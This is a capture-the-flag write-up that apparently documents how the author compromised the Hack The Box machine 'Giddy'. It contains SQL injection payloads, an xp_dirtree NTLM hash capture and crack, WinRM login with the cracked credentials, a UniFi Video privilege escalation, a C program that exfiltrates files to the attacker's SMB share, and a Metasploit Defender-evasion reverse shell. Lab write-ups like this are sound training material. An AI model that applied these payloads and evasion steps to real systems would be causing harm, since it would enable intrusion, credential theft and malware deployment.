Tags: hack the box, out of band, sqli, winrm, av evasion
Even though I’m a *nix guy at heart, Giddy was a great box that taught me a lot. I found myself going back to this box multiple times to keep refining my techniques against WinRM (from linux), out of band exploitation, and anti-virus evasion. Replayability isn’t something I’ve written about before, but Giddy is on a very short list of boxes that I’ve run through many times. I think that statement alone speaks volumes for the box and its creator lkys37en.
As usual, we start off with a masscan
followed by a targeted nmap
.
masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.104.all 10.10.10.104
══════════════════════════════════════════════════════════════════════════════════════════════
open tcp 3389 10.10.10.104 1536435449
open tcp 5985 10.10.10.104 1536435481
open tcp 443 10.10.10.104 1536435485
open tcp 80 10.10.10.104 1536435518
nmap -p 3389,5985,80,443 -sC -sV -oA nmap.10.10.10.104 10.10.10.104
═══════════════════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp open ssl/http Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after: 2018-09-14T21:28:55
|_ssl-date: 2019-02-10T00:19:04+00:00; 0s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2019-02-09T00:18:16
|_Not valid after: 2019-08-11T00:18:16
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
I’ve become quite fond of a wrapper around gobuster
I recently wrote named recursive-gobuster. We’ll use it here for enumeration of the webserver. Since we know that it’s a Windows box, we’ll include asp
and aspx
extensions.
/opt/recursive-gobuster.pyz -d -x aspx,asp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 10.10.10.104
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
http://10.10.10.104/mvc
http://10.10.10.104/mvc/about.aspx
http://10.10.10.104/mvc/account
http://10.10.10.104/mvc/account/login.aspx
http://10.10.10.104/mvc/account/manage.aspx
http://10.10.10.104/mvc/account/register.aspx
http://10.10.10.104/mvc/contact.aspx
http://10.10.10.104/mvc/content
http://10.10.10.104/mvc/content/css
http://10.10.10.104/mvc/content/themes
http://10.10.10.104/mvc/content/themes/base
http://10.10.10.104/mvc/content/themes/base/css
http://10.10.10.104/mvc/content/themes/base/images
http://10.10.10.104/mvc/default.aspx
http://10.10.10.104/mvc/error.aspx
http://10.10.10.104/mvc/images
http://10.10.10.104/mvc/properties
http://10.10.10.104/mvc/scripts
http://10.10.10.104/mvc/search.aspx
http://10.10.10.104/remote
Browsing to the pages found by recursive-gobuster, we eventually arrive at https://10.10.10.104/mvc/search.aspx
. Throwing a single-tick ('
) into the search field throws an error, giving us a few nice pieces of information about our target.
A simple AND query with @@version
will get us the SQL Server version, architecture, and Windows version, not too shabby.
1' AND 1=@@version-- -
The one thing of particular note is that the backend is running MSSQL. This lets us know that we can potentially explore things like xp_cmdshell
and xp_dirtree
. Let’s give them a shot and see if they’re enabled.
Normally, we’d try using Stacked Queries to do something simple like a ping via xp_cmdshell
, however attempts to do so prove unsuccessful.
Instead, we’ll try to use xp_dirtree
to list out the contents of a share hosted on our machine. To do this, the remote system will authenticate to our share, allowing us to capture the NTLM hash passed during authentication. To start, we’ll fire up impacket-smbserver
, this will be the share hosted on our machine.
impacket-smbserver epi $(pwd)
═════════════════════════════
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Next, we’ll send the following query through the browser.
1'; use master; exec xp_dirtree '\\10.10.15.111\epi';--
Back in the window where we started impacket-smbserver
, we see the remote machine connect and authenticate.
[*] Incoming connection (10.10.10.104,50133)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User Stacy\GIDDY authenticated successfully
[*] Stacy::GIDDY:4141414141414141:01c99d86fb4e8bac96c79ec5d7f3c375:010100000000000000b1349d44c1d401a8e55804f2d5bb4100000000010010004800650062004c00740048005400620002001000610063004900550041004a0055004200030010004800650062004c00740048005400620004001000610063004900550041004a00550042000700080000b1349d44c1d401060004000200000008003000300000000000000000000000003000006ebadf6a79ce450df6399f96d472cef5542b56348c90abf3e2d00f69ea1ca32b0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310035002e00310031003100000000000000000000000000
-------------8<-------------
Now that we have some credentials, we can create a file whose contents are the line that begins with Stacy::GIDDY
.
cat giddy-hash
══════════════
Stacy::GIDDY:4141414141414141:01c99d86fb4e8bac96c79ec5d7f3c375:010100000000000000b1349d44c1d401a8e55804f2d5bb4100000000010010004800650062004c00740048005400620002001000610063004900550041004a0055004200030010004800650062004c00740048005400620004001000610063004900550041004a00550042000700080000b1349d44c1d401060004000200000008003000300000000000000000000000003000006ebadf6a79ce450df6399f96d472cef5542b56348c90abf3e2d00f69ea1ca32b0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310035002e00310031003100000000000000000000000000
That done, we can run john
against the file we just created.
Notice that I’m using “jumbo” john, you may need to specify what kind of hash this is with --format
if you’re using the normal version of john
.
/opt/JohnTheRipper/run/john giddy-hash --wordlist=/usr/share/wordlists/rockyou.txt
══════════════════════════════════════════════════════════════════════════════════
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xNnWo6272k7x (Stacy)
-------------8<-------------
Noice! We now have a username and password for the remote system.
Thinking back to our nmap
scan, recall that port 5985 was open. This is the default port for the Windows Remote Management service or WinRM. Let’s connect!
Before we connect, we need to know what kind of authentication mechanisms are available for us to use. There is a metasploit auxiliary scanner made to answer that very question.
msf5 > use auxiliary/scanner/winrm/winrm_auth_methods
msf5 > set rhosts 10.10.10.104
msf5 > exploit
[+] 10.10.10.104:5985: Negotiate protocol supported
[+] 10.10.10.104:5985: Basic protocol supported
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Now we know the different methods of authentication supported by the server. The next step is the actual connection.
As of Powershell Core 6.1.2, even after building psl-omi-provider and loading the libraries, connecting to WinRM from kali fails with both basic and negotiate protocols. Fear not! There is a most excellent docker image that will allow us to navigate these murky waters and carry on with the machine WITHOUT spinning up a Windows box. Enter Quickbreach’s powershell-ntlm docker image.
powershell-ntlm
is built based on Microsoft’s official Centos-7 w/ Powershell image. Pulling down the image and getting a local shell is very simple. The command below will download all the necessary bits and pieces then drop us into a shell inside the container.
docker run -it quickbreach/powershell-ntlm
══════════════════════════════════════════
-------------8<-------------
PowerShell 6.1.1
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS />
From here, we can start the process of setting up a new session to the target.
First, we convert our plain text password to a secure string.
PS /> $secpasswd = ConvertTo-SecureString "xNnWo6272k7x" -AsPlainText -Force
Then we create a PSCredential object.
PS /> $mycreds = New-Object System.Management.Automation.PSCredential ("stacy", $secpasswd)
Third, we create a New-PSSession object. If we try to use 'basic'
as our authentication protocol, we’ll see an error: Basic authentication is not supported over HTTP on Unix. Since that is the case, we’ll use 'negotiate'
.
PS /> $sess = New-PSSession -ComputerName '10.10.10.104' -Authentication 'negotiate' -Credential $mycreds
Finally, we use the New-PSSession object to interact with the target.
PS /> Enter-PSSession -session $sess
Success! Now we’re at a windows powershell prompt that is connected to the target!
[10.10.10.104]: PS C:\Users\Stacy\Documents> cat C:\users\stacy\desktop\user.txt
10C1...
\o/ - access level: stacy
Running ls
in our current directory shows the presence of a folder named unifivideo
. A quick sploitus search yields the following exploit-db entry. The following is an excerpt taken from the original seclists disclosure.
Ubiquiti UniFi Video for Windows is installed to “C:\ProgramData\unifi-video\” by default and is also shipped with a service called “Ubiquiti UniFi Video”. Its executable “avService.exe” is placed in the same directory and also runs under the NT AUTHORITY/SYSTEM account.
However the default permissions on the “C:\ProgramData\unifi-video” folder are inherited from “C:\ProgramData” and are not explicitly overridden, which allows all users, even unprivileged ones, to append and write files to the application directory:
Upon start and stop of the service, it tries to load and execute the file at “C:\ProgramData\unifi-video\taskkill.exe”. However this file does not exist in the application directory by default at all.
By copying an arbitrary “taskkill.exe” to “C:\ProgramData\unifi-video\” as an unprivileged user, it is therefore possible to escalate privileges and execute arbitrary code as NT AUTHORITY/SYSTEM.
The disclosure tells us exactly what needs to be done, so let’s get on with it.
If we take a look in the process list, we see two processes that concern us: MsMpEng
and MpCmdRun
. These are both retlated to Windows Defender. One is its background process and the other is a command line tool for interfacing with Defender.
[10.10.10.104]: PS C:\Users\Stacy\Documents> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1161 57 452328 309400 1980 0 avService
-------------8<-------------
180 14 73816 57260 4156 0 mongod
171 10 2372 8500 4444 0 MpCmdRun
180 12 2724 9580 3476 0 msdtc
645 71 126324 86476 1996 0 MsMpEng
-------------8<-------------
Because Defender is running, it’s safe to assume that we’ll need to be slightly more creative than normal when getting a shell on target. Our first method will be to write a small program in C that adds a user with administrative privileges to the remote machine. Let’s get started.
First, the C program itself. This is a simple program that will exfil root.txt
over our smb share into a file local on kali.
#include <stdlib.h>
int main() {
system("type C:\\users\\administrator\\desktop\\root.txt > \\\\10.10.15.111\\epi\\root.txt");
}
Next, we need to install the tools to cross-compile the binary for Windows.
apt install mingw-w64
Then compile using mingw
.
x86_64-w64-mingw32-gcc adduser.c -o adduser-taskkill.exe
As simple as that, we have a small exe that is incredibly unlikely to get flagged as malware by Defender. Let’s give it a shot.
To get the exe to target, we’ll use what is probably my favorite method of transferring files between windows and kali, impacket-smbserver
!
On Kali
═══════
impacket-smbserver epi /root/htb/giddy
On Giddy
════════
copy \\10.10.15.111\epi\adduser-taskkill.exe C:\programdata\unifi-video\taskkill.exe
With our binary in place, we can confirm that the process named avService
is running. If it is, then all we need to do is issue the following command, ensuring that our impacket-smbserver
is still active.
Stop-Service -Force -Name "Ubiquiti UniFi Video"
════════════════════════════════════════════════
WARNING: Waiting for service 'Ubiquiti UniFi Video (unifivideoservice)' to stop...
WARNING: Waiting for service 'Ubiquiti UniFi Video (unifivideoservice)' to stop...
-------------8<-------------
In the event that avService
is not running, issue this command: Start-Service -Name "Ubiquiti UniFi Video"
If all went well, we see some activity in the impacket-smbserver
window and can cat root.txt
in the same directory that we hosted as our share.
cat /root/htb/giddy/root.txt
════════════════════════════
CF55...
\o/ - root.txt exfil’d
Back in October 2018, the Metasploit team released a new module type to the community: the evasion module. We have a perfect opportunity to play with this new module type and use it to bypass Defender. Let’s begin.
First fire up metasploit and navigate to the following evasion module.
msf5 > info evasion/windows/windows_defender_exe
═════════════════════════════════════════════════
-------------8<-------------
Description:
This module allows you to generate a Windows EXE that evades against
Microsoft Windows Defender. Multiple techniques such as shellcode
encryption, source code obfuscation, Metasm, and anti-emulation are
used to achieve this. For best results, please try to use payloads
that use a more secure channel such as HTTPS or RC4 in order to
avoid the payload network traffic getting caught by antivirus
better.
In the description, we see some of the techniques used to perform the bypass. The whitepaper goes into greater detail about the libraries themselves and what they offer. It’s definitely an interesting read about some of the Metasploit internals.
The evasion module acts like a fileformat exploit, in that it creates a file locally and does not fire up a listener on our behalf. Let’s generate the file that we’ll then move over to target.
msf5 > use evasion/windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter_reverse_https
msf5 evasion(windows/windows_defender_exe) > set lport 443
msf5 evasion(windows/windows_defender_exe) > set lhost tun0
msf5 evasion(windows/windows_defender_exe) > set filename evade-taskkill.exe
msf5 evasion(windows/windows_defender_exe) > options
Module options (evasion/windows/windows_defender_exe):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME evade-taskkill.exe yes Filename for the evasive file (default: random)
Payload options (windows/meterpreter_reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
LHOST tun0 yes The local listener hostname
LPORT 443 yes The local listener port
LURI no The HTTP Path
msf5 evasion(windows/windows_defender_exe) > exploit
[*] Compiled executable size: 183808
[+] evade-taskkill.exe stored at /root/.msf4/local/evade-taskkill.exe
Notice where the file is stored, we’ll need to serve that same file in the next step.
With our evasive exe created, we need to transfer it to target. We’ll do this in the same way we transferred the previous binary. The only difference is the path used as the share’s location, and the updated name of the binary to copy (evade instead of adduser).
On Kali
═══════
impacket-smbserver epi /root/.msf4/local
On Giddy
════════
copy \\10.10.15.111\epi\evade-taskkill.exe C:\programdata\unifi-video\taskkill.exe
With the file on target, we’ll need to setup our listener before triggering the callback.
msf5 evasion(windows/windows_defender_exe) > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter_reverse_https
msf5 exploit(multi/handler) > set lhost tun0
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit
[*] Started HTTPS reverse handler on https://10.10.15.111:443
That done, we need to trigger the exploit using the same command we used previously (remember to ensure that the process avService
is running).
Stop-Service -Force -Name "Ubiquiti UniFi Video"
════════════════════════════════════════════════
WARNING: Waiting for service 'Ubiquiti UniFi Video (unifivideoservice)' to stop...
WARNING: Waiting for service 'Ubiquiti UniFi Video (unifivideoservice)' to stop...
-------------8<-------------
And shortly after stopping the service, we see a callback in our msfconsole. Go team!
[*] https://10.10.15.111:443 handling request from 10.10.10.104; (UUID: 7vdazdmr) Redirecting stageless connection from /CAI2p0eZdH2px6jG9aWF1QltwoQ2GjKyAk41ZuuIt91VamT5x6OAX43YymXKEBn6He with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://10.10.15.111:443 handling request from 10.10.10.104; (UUID: 7vdazdmr) Attaching orphaned/stageless session...
[*] Meterpreter session 3 opened (10.10.15.111:443 -> 10.10.10.104:49737) at 2019-02-11 20:14:43 -0600
\o/ - NT AUTHORITY/SYSTEM access w/ meterpreter
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.